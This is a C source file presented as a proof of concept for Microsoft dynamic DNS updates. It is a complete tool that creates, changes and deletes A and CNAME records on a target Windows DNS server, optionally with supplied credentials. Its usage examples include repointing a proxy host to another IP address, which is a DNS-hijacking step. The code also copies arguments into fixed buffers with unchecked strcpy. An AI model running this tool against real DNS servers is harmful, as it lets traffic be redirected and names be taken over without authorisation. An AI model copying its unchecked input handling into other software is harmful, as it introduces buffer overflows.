00001
00002
00003
00004
00005
00006
00007
00008
00009
00010
00011
00012
00013
00014
00015
00016
00017
00018
00019
00020
00021
00022
00023
00024
00025
00026
00027
00028
00029
00030
00031
00032
00033
00034
00035
00036
00037
00038
00039
00040
00041
00042
00043
00044
00045
00046
00047
00048
00049
00050
00051
00052 #include <stdio.h>
00053 #include <winsock2.h>
00054 #include <Windns.h>
00055 #pragma comment(lib,"Dnsapi.lib")
00056 #pragma comment(lib, "ws2_32.lib")
00057
00058 char TargetDnsServer[256]="";
00059 char TargetDnsRecord[256]="";
00060 char NewIpAddress[256]="";
00061 char DeleteDnsRecord[256]="";
00062 char CreateDnsRecord[256]="";
00063
00064 WORD CreationType=DNS_TYPE_A;
00065
00066
00067 #define DELETERECORD (DeleteDnsRecord[0]!='\0')
00068 #define UPDATERECORD ( (TargetDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
00069 #define CREATERECORD ( (CreateDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
00070 #define QUERYRECORD (TargetDnsRecord[0]!='\0')
00071 #define _DBG_
00072 #undef _DBG_
00073 #define DBG_DUMP_ROWS 16
00074
00075 void usage(char *argv[]);
00076
00077
00078 DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers)
00079 {
00080
00081 DNS_STATUS status;
00082 WORD type= DNS_TYPE_ANY;
00083 DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME |DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT ;
00084 PVOID* reserved=NULL;
00085 DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
00086 DNS_RECORDA *result;
00087 IN_ADDR ipaddr;
00088 int i;
00089 int count=0;
00090
00091 if (!name) {
00092 return (NULL);
00093 } else {
00094 memset(records,'\0',sizeof(DNS_RECORDA));
00095 status = DnsQuery_A( name,
00096 type,
00097 fOptions,
00098 servers,
00099 (DNS_RECORDA**)&records,
00100 reserved );
00101
00102 if (status == ERROR_SUCCESS)
00103 {
00104 fflush(stdout);
00105 result=records;
00106 do {
00107 #ifdef _DBG_
00108 printf("[+] Record %i---\n",count);
00109 count++;
00110 printf("[+] DNS wDataLength %i\n",result->wDataLength);
00111 printf("[+] DNS Flags DW: %x\n",result->Flags.DW);
00112 printf("[+] DNS Flags S.Section: %x\n",result->Flags.S.Section);
00113 printf("[+] DNS Flags S.Delete: %x\n",result->Flags.S.Delete);
00114 printf("[+] DNS Flags S.CharSet: %x\n",result->Flags.S.CharSet);
00115 printf("[+] DNS Flags S.Unused: %x\n",result->Flags.S.Unused);
00116 printf("[+] DNS Flags S.Reserved: %x\n",result->Flags.S.Reserved);
00117 #endif
00118 switch (result->wType) {
00119 case DNS_TYPE_A:
00120 ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
00121 printf("[+] Host %s resolved as %s\n", result->pName,inet_ntoa(ipaddr));
00122 break;
00123 case DNS_TYPE_NS:
00124 printf("[+] Domain %s Dns Servers: %s\n",result->pName,result->Data.Ns.pNameHost);
00125 break;
00126 case DNS_TYPE_CNAME:
00127 printf("[+] Host %s resolved as CNAME %s\n", result->pName,result->Data.Cname.pNameHost);
00128
00129 break;
00130
00131 case DNS_TYPE_SOA:
00132 printf("[+] SOA Information: PrimaryServer: %s\n",result->Data.Soa.pNamePrimaryServer);
00133 printf("[+] SOA Information: Administrator: %s\n",result->Data.Soa.pNameAdministrator);
00134 printf("[+] SOA Information: SerialNo %x - Refresh %i - retry %i - Expire %i - DefaultTld %i\n",
00135 result->Data.Soa.dwSerialNo,
00136 result->Data.Soa.dwRefresh,
00137 result->Data.Soa.dwRetry,
00138 result->Data.Soa.dwExpire,
00139 result->Data.Soa.dwDefaultTtl);
00140 break;
00141
00142 case DNS_TYPE_MX:
00143 printf("[+] %s MX Server resolved as %s (Preference %i)\n", result->pName,result->Data.Mx.pNameExchange, result->Data.Mx.wPreference);
00144 break;
00145
00146 case DNS_TYPE_TEXT:
00147 printf("[+] Text: %i bytes\n",result->Data.Txt.dwStringCount);
00148 break;
00149
00150 case DNS_TYPE_SRV:
00151 printf("[+] SRV Record. NameTarget %s ",result->Data.Srv.pNameTarget);
00152 printf("(Priority %i - Port %i - Weigth: %i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);
00153
00154 break;
00155
00156 default:
00157 printf("[-] DnsQuery returned unknown wtype %x\n",result->wType);
00158 break;
00159 }
00160 result=result->pNext;
00161 } while (result!=NULL);
00162 } else {
00163 if (status==9003) printf("[-] Record not found\n");
00164 else printf("[-] Query Error: %i - %i\n",status,GetLastError());
00165 exit(-1);
00166 }
00167 }
00168 return records;
00169 }
00170
00171 int main(int argc, char *argv[]) {
00172
00173 HANDLE creds;
00174 DNS_RECORDA *result;
00175 DNS_STATUS status;
00176
00177 HANDLE ContextHandle;
00178 DWORD Options=DNS_UPDATE_SECURITY_ON;
00179 PVOID pReserved=NULL;
00180 IN_ADDR ipaddr;
00181 IP4_ARRAY *servers=NULL;
00182 SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL;
00183 WORD i;
00184
00185
00186 printf(" Microsoft Dynamic DNS Updates - Proof of Concept v1.1\n");
00187 printf(" http://www.tarasco.org- (c) 2007-2008 Andres Tarasco Acuņa\n\n");
00188 if (argc==1) usage(argv);
00189
00190
00191 Credentials = (SEC_WINNT_AUTH_IDENTITY_A *)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A));
00192 memset(Credentials,'\0',sizeof(SEC_WINNT_AUTH_IDENTITY_A));
00193 Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;
00194
00195 for(i=1;i<argc;i++) {
00196 if ( (argv[i][0]=='-') ) {
00197 switch (argv[i][1]) {
00198 case 's':
00199 case 'S':
00200 strcpy(TargetDnsServer,argv[i+1]);
00201 servers=(PIP4_ARRAY)malloc(sizeof(IP4_ARRAY));
00202 servers->AddrCount=1;
00203 servers->AddrArray[0]=inet_addr(TargetDnsServer);
00204 break;
00205 case 'D':
00206 case 'd':
00207 strcpy(DeleteDnsRecord,argv[i+1]);
00208 break;
00209 case 'q':
00210 case 'Q':
00211 strcpy(TargetDnsRecord,argv[i+1]);
00212 break;
00213 case 'u':
00214 case 'U':
00215 strcpy(NewIpAddress,argv[i+1]);
00216 break;
00217 case 'c':
00218 case 'C':
00219 strcpy(CreateDnsRecord,argv[i+1]);
00220 if (NewIpAddress[0]=='\0') strcpy(NewIpAddress,"127.0.0.1");
00221 if (argv[i][2]!='\0') {
00222 switch (argv[i][2]) {
00223 case 'c': CreationType=DNS_TYPE_CNAME;
00224 break;
00225 case 'a': CreationType=DNS_TYPE_A;
00226 break;
00227 }
00228 }
00229 break;
00230
00231 case 'x':
00232 Credentials->User=argv[i+1]; Credentials->UserLength=strlen(argv[i+1]); break;
00233 case 'y':
00234 Credentials->Password=argv[i+1];Credentials->PasswordLength=strlen(argv[i+1]); break;
00235 case 'z':
00236 Credentials->Domain=argv[i+1]; Credentials->DomainLength=strlen(argv[i+1]); break;
00237
00238
00239
00240
00241
00242
00243 default:
00244 printf("[-] Invalid argument: %s\n",argv[i]);
00245 usage(argv);
00246 break;
00247 }
00248 i++;
00249 } else usage(argv);
00250 }
00251 printf("[+] Gathering Credentials..\n");
00252
00253 if (Credentials->UserLength==0) {
00254 status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle);
00255 } else {
00256 status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle);
00257
00258
00259 }
00260
00261 if (status == ERROR_SUCCESS) {
00262 if (CREATERECORD) {
00263
00264 result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
00265 memset(result,'\0',sizeof(DNS_RECORDA));
00266 result->wType=CreationType;
00267 if (CreationType==DNS_TYPE_CNAME) {
00268 printf("[+] Creating DNS CName Record for %s (%s)\n",CreateDnsRecord,NewIpAddress);
00269 result->Data.Cname.pNameHost=NewIpAddress;
00270 } else {
00271 printf("[+] Creating DNS A Record for %s (%s)\n",CreateDnsRecord,NewIpAddress);
00272 result->Data.A.IpAddress=inet_addr(NewIpAddress);
00273 }
00274 result->pName=CreateDnsRecord;
00275 result->wDataLength=4;
00276 result->Flags.S.Section=1;
00277 result->Flags.S.CharSet=DnsCharSetAnsi;
00278 result->pNext=NULL;
00279
00280 status=DnsModifyRecordsInSet_A(result,
00281 NULL,
00282 Options,
00283 ContextHandle,
00284 servers,
00285 NULL);
00286 if (status ==ERROR_SUCCESS) {
00287 printf("[+] Host Created. Rechecking Record...\n");
00288 DnsRecordListFree(result,DnsFreeRecordList);
00289 result=DnsQueryA(CreateDnsRecord,servers);
00290 } else {
00291 printf("[-] Error: Unable to create %s (%i)\n",CreateDnsRecord,status);
00292 }
00293 } else if (DELETERECORD) {
00294 printf("[+] Trying to resolve Host: %s before deleting\n",DeleteDnsRecord);
00295 result=DnsQueryA(DeleteDnsRecord,servers);
00296 if (result!=NULL) {
00297 printf("[+] Trying to Delete Record. Are You Sure? (y/n)...");
00298 i=getchar(); if (i!='y') return(-1);
00299 printf("[+] Deleting record %s\n",DeleteDnsRecord);
00300 status=DnsModifyRecordsInSet_A(NULL,
00301 result,
00302 Options,
00303 ContextHandle,
00304 servers,
00305 NULL);
00306 if (status ==ERROR_SUCCESS) {
00307 printf("[+] Host Deleted. Rechecking Record %s...\n",DeleteDnsRecord);
00308 DnsRecordListFree(result,DnsFreeRecordList);
00309 result=DnsQueryA(DeleteDnsRecord,servers);
00310 } else {
00311 status=GetLastError();
00312 if (status==1312) {
00313 printf("[-] Error: Unable to Delete %s. Authentication Required\n",DeleteDnsRecord);
00314 } else {
00315 printf("[-] Error: Unable to Delete %s (Error: %i)\n",DeleteDnsRecord,GetLastError());
00316 }
00317 }
00318 } else {
00319 printf("[-] Host %s not found\n",DeleteDnsRecord);
00320 }
00321
00322 } else if (UPDATERECORD) {
00323
00324 printf("[+] Trying to resolve Host: %s before updating\n",TargetDnsRecord);
00325 result=DnsQueryA(TargetDnsRecord,servers);
00326 if (result->wType==DNS_TYPE_A ) {
00327 printf("[+] Trying to update record. Are You Sure? (Y/N)...");
00328 i=getchar(); if (i!='y') return(-1);
00329 result->Data.A.IpAddress=inet_addr(NewIpAddress);
00330 ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
00331 printf("[+] Trying to set ip address of the host %s to %s \n", TargetDnsRecord,NewIpAddress);
00332 printf("[+] Trying to Modify Record...\n");
00333 status=DnsReplaceRecordSetA(result,
00334 Options,
00335 ContextHandle,
00336 servers,
00337 NULL);
00338 if (status ==ERROR_SUCCESS) {
00339 printf("[+] Host Updated. Rechecking Record...\n");
00340 DnsRecordListFree(result,DnsFreeRecordList);
00341 result=DnsQueryA(TargetDnsRecord,servers);
00342 } else {
00343 printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord);
00344 }
00345
00346 } else {
00347 printf("[-] Unable to Update Record (Type %x)\n",result->wType);
00348 }
00349 } else if (QUERYRECORD) {
00350 printf("[+] Query Information for host %s...\n",TargetDnsRecord);
00351 result=DnsQueryA(TargetDnsRecord,servers);
00352 DnsRecordListFree(result,DnsFreeRecordList);
00353 } else {
00354 printf("[-] Unknown Options\n");
00355 return(-1);
00356 }
00357 } else {
00358 printf("[-] Error Calling DnsAcquireContextHandle\n");
00359 }
00360 return (1);
00361 }
00362
00363
00364 void usage(char *argv[]) {
00365 printf(" Usage:\n");
00366 printf("\t%s\t -[s]d|c|q[u][x|y|z] <options>\n",argv[0]);
00367 printf(" Details:\n");
00368 printf("\t%s\t -s ip (dns Server (optional))\n",argv[0]);
00369 printf("\t%s\t -d fqdn (Delete dns record)\n",argv[0]);
00370 printf("\t%s\t -q fqdn (Query dns record)\n",argv[0]);
00371 printf("\t%s\t -c[a|c] ip (Create A or CName record (default A))\n",argv[0]);
00372 printf("\t%s\t -x user (auth information. also use -y and -z)\n",argv[0]);
00373 printf("\t%s\t -y pass (auth information. also use -x and -z)\n",argv[0]);
00374 printf("\t%s\t -z domain (auth information. also use -x and -y)\n",argv[0]);
00375 printf("\t%s\t -u ip|fqdn (Update dns record (requires -q or -c))\n",argv[0]);
00376
00377
00378 printf("\n Examples:\n");
00379 printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates record)\n",argv[0]);
00380 printf("\t%s -s 10.0.0.1 -d foo.mydomain.com (delete foo.mydomain.com record)\n",argv[0]);
00381 printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)\n",argv[0]);
00382 printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)\n",argv[0]);
00383 printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain (Query for srv record)\n",argv[0]);
00384 exit(0);
00385 }
00386
00387
00388